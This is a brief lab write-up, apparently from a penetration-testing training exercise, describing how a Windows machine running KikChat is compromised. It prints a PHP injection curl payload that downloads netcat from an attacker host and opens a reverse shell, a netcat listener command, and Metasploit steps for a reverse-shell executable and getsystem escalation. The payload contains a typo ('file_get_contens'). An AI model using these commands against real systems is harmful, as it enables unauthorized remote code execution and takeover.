EDBMACHINE (.218)	
Operating System	Windows
Points	25
Similar Machine (User)	
Similar Machine (Root)	

Exploit in Getting User

1. Hidden directory in robots.txt
2. KikChat is vulnerable to https://www.exploit-db.com/exploits/30235
3. Confirm POC - ***curl -s http://192.168.31.218/8678576453/rooms/get.php\?name\=info.php\&ROOM\="<?php+phpinfo()+?>"***
4. ***allow_url_fopen*** and ***allow_url_include*** are On
5. Upload file to target machine and run - ***curl -s http://192.168.XX.218/8678576453/rooms/get.php\?name=shell1.php\&ROOM\="<?php+file_put_contents('nc.bat',file_get_contens('http://192.168.XX.XX/nc.txt'));system('nc.bat');usleep(2000000);system('nc.exe+-vn+192.168.XX.XX+1234+-cmd.exe');+?>"***
6. Run listener - ***nc -nlvp 1234***
7. User shell!

Privilege Escalation to Root

1. Use metasploit to create reverse shell in exe
2. Upload it on target machine same process as curl
3. Run execute -f C:/xampplite/htdocs/8678576453/myroom/evil.exe in metasploit
4. execute background and switch to new sessions sessions -i 2
5. Run getuid
6. Run getsystem
7. Run getuid
8. Root shell!